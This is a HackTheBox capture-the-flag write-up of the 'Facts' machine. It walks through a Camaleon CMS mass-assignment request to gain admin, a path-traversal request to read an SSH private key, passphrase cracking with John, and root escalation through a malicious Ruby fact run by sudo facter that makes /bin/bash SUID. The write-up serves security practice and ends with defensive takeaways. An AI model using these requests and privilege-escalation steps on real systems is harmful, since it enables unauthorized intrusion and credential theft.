HTB Facts — Camaleon CMS Mass Assignment to Root
An Easy-rated Linux machine featuring Camaleon CMS 2.9.0. The attack chain: register an account, exploit a mass assignment vulnerability to become admin, steal S3 credentials from the admin panel, grab an SSH key from an internal S3 bucket, crack the passphrase, and escalate to root via sudo facter --custom-dir.
Enumeration#
Port Scan#
22/tcp — OpenSSH 9.9p1 Ubuntu 3ubuntu3.2
80/tcp — nginx 1.26.3 → redirects to http://facts.htb/
Add facts.htb to /etc/hosts and browse to port 80.
Web Application#
The site runs Camaleon CMS v2.9.0 on Ruby on Rails. It’s a random facts blog with posts about animals, chocolate, and other trivia.
Key observations:
- Admin login at
/admin/login - Open registration at
/admin/register(image captcha) - Session cookie:
_factsapp_session(Rails encrypted) - CSRF protection via
authenticity_token
Register an account. As a low-privilege user, the only accessible page is the profile editor at /admin/profile.
User Flag#
Step 1 — Mass Assignment to Admin (CVE-2025-2304)#
Camaleon CMS v2.9.0 is vulnerable to CVE-2025-2304 (CVSS 9.4) — a mass assignment flaw in the profile update endpoint. The updated_ajax action does not filter the role parameter, allowing any authenticated user to escalate to admin.
Intercept the profile update request and add password[role]=admin:
POST /admin/profile HTTP/1.1
Host: facts.htb
Content-Type: application/x-www-form-urlencoded
authenticity_token=<TOKEN>&password[role]=admin
Alternatively, edit the profile form in the browser to include a hidden field password[role] with value admin, then submit.
After the request, refresh the page — you now have full admin access to the CMS dashboard.
Step 2 — S3 Credentials from Admin Settings#
Navigate to Settings > Filesystem in the admin panel. The S3 configuration is plainly visible, including the access key, secret key, and endpoint (localhost:54321).
Step 3 — SSH Key from S3#
The S3 service runs locally. There are two buckets: randomfacts (CMS content) and internal (sensitive files). The internal bucket contains an SSH private key:
aws --endpoint-url http://localhost:54321 s3 ls s3://internal/.ssh/
aws --endpoint-url http://localhost:54321 s3 cp s3://internal/.ssh/id_ed25519 ./id_ed25519
chmod 600 id_ed25519
Alternatively, exploit the path traversal in download_private_file (CVE-2024-46987, CVSS 7.1) as an authenticated admin:
GET /admin/media/download_private_file?file=../../../../home/trivia/.ssh/id_ed25519
Step 4 — Crack Passphrase & SSH#
The key is passphrase-protected. Convert and crack with John:
ssh2john id_ed25519 > id_ed25519.hash
john --wordlist=/usr/share/wordlists/rockyou.txt id_ed25519.hash
The passphrase cracks quickly against rockyou. SSH in as the trivia user and grab user.txt.
Root Flag#
Enumeration#
trivia@facts:~$ sudo -l
User trivia may run the following commands on facts:
(ALL) NOPASSWD: /usr/bin/facter
trivia@facts:~$ /usr/bin/facter --version
4.10.0
The user can run Facter as root without a password. Facter is Puppet’s system profiling tool that collects “facts” about the system.
Exploitation#
The classic GTFOBins approach for facter uses the FACTERLIB environment variable. However, env_reset in the sudoers config strips it. Facter 4.x supports --custom-dir, which loads .rb files from a specified directory as custom facts — executing arbitrary Ruby code as the invoking user (root, via sudo).
Create a malicious custom fact:
mkdir -p /tmp/facts
cat > /tmp/facts/root.rb << 'EOF'
require 'facter'
Facter.add(:pwned) do
setcode do
Facter::Core::Execution.execute("cat /root/root.txt")
end
end
EOF
Run it:
sudo /usr/bin/facter --custom-dir /tmp/facts pwned
This outputs the root flag directly. For a persistent root shell:
cat > /tmp/facts/shell.rb << 'EOF'
require 'facter'
Facter.add(:shell) do
setcode do
Facter::Core::Execution.execute("chmod u+s /bin/bash")
end
end
EOF
sudo /usr/bin/facter --custom-dir /tmp/facts shell
/bin/bash -p
Attack Chain#
Register account
|
v
CVE-2025-2304: mass assignment (role=admin)
|
v
Admin panel → S3 credentials in Filesystem settings
|
v
S3 bucket "internal" → SSH private key (id_ed25519)
|
v
john: passphrase crack → SSH as trivia → user.txt
|
v
sudo facter --custom-dir → Ruby code execution as root → root.txt
Takeaways#
- Mass assignment remains a critical vulnerability class in web frameworks. Always check if profile/settings update endpoints accept parameters beyond what the form displays — applications that use Rails
paramswithout strong parameter filtering are easy targets. - Internal service credentials exposed in admin panels (S3, databases, SMTP) are a common lateral movement vector. Always check settings pages after getting admin access.
- Facter
--custom-diris the modern privesc path whenFACTERLIBis blocked byenv_reset. The flag loads arbitrary Ruby files as custom facts, effectively giving code execution as the sudo user. This works on Facter 4.x and should be part of your sudo privesc checklist. - Passphrase cracking: SSH keys with weak passphrases (dictionary words) are trivially cracked with
ssh2john+rockyou.txt.
Facts is an active HackTheBox machine. Please do not use this writeup to submit flags you didn’t earn.